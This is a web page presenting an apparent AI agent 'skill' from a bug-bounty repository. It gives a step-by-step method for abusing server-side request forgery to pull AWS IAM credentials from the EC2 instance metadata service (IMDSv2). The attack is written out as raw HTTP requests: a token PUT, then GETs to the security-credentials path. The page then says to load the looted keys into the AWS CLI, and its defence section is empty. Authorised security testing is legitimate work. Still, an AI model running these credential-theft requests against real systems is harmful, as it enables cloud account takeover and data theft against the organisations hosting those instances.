Aws imdsv2 ssrf bypass

From ShulkwiSEC/bb-huge · View interactive version

Aws imdsv2 ssrf bypass is an AI agent skill from the GitHub repository ShulkwiSEC/bb-huge. Exploit Server-Side Request Forgery (SSRF) vulnerabilities to extract AWS IAM credentials from the Instance Metadata Service version 2 (IMDSv2). This skill details how to bypass the token requirement of IMDSv2 by chaining HTTP verbs (PUT then GET) if the SSRF vulnerability allows full control over t

How to use this skill

Skill file

AWS IMDSv2 SSRF Bypass

When to Use

Prerequisites

Workflow

Phase 1: Identifying the Restriction

Attempting a standard IMDSv1 request to http://169.254.169.254/latest/meta-data/ yields a 401 Unauthorized or requires a token. This confirms IMDSv2 is enforced.

Phase 2: Generating the Token (The PUT Request)

IMDSv2 requires a session token. You must use the SSRF to send a PUT request to /latest/api/token with the header X-aws-ec2-metadata-token-ttl-seconds.

# Concept: Push the SSRF payload to request the token PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

Note: If the SSRF only allows GET requests, bypassing IMDSv2 via this specific method is generally not possible unless you have header injection/request smuggling.

Phase 3: Extracting Metadata (The GET Request)

If Phase 2 succeeds, the response will contain the token string (e.g., AQAAAHN...).

You must then issue a second SSRF request (a GET request) to the metadata endpoint, injecting the acquired token via the X-aws-ec2-metadata-token header.

# GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token: AQAAAHN...

Phase 4: Looting the IAM Keys

Identify the IAM role name from the previous step, then extract the temporary credentials.

# GET /latest/meta-data/iam/security-credentials/<ROLE_NAME> HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token: AQAAAHN...

Configure your local AWS CLI with the retrieved AccessKeyId, SecretAccessKey, and Token.

Decision Point 🔀
flowchart TD
    A[Discover SSRF ] --> B{IMDS Version? ]}
    B -->|IMDSv1| C[Direct GET Request ]
    B -->|IMDSv2| D{SSRF Allows PUT & Headers? }
    D -->|Yes| E[Send PUT to get Token ]
    D -->|No| F[Bypass Failed - IMDSv2 Secure ]
    E --> G[Send GET with Token Header ]
    C & G --> H[Extract Credentials ]

🔵 Blue Team Detection & Defense

| Concept | Description |

|---------|-------------|

Output Format

Aws Imdsv2 Ssrf Bypass — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

- CODE0 — Exploit chaining methodology and high-payout chain patterns

- CODE0 — HackerOne-optimized report writing, CWE quick reference

- CODE0 — Verified disclosed bounties by vulnerability class

References

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.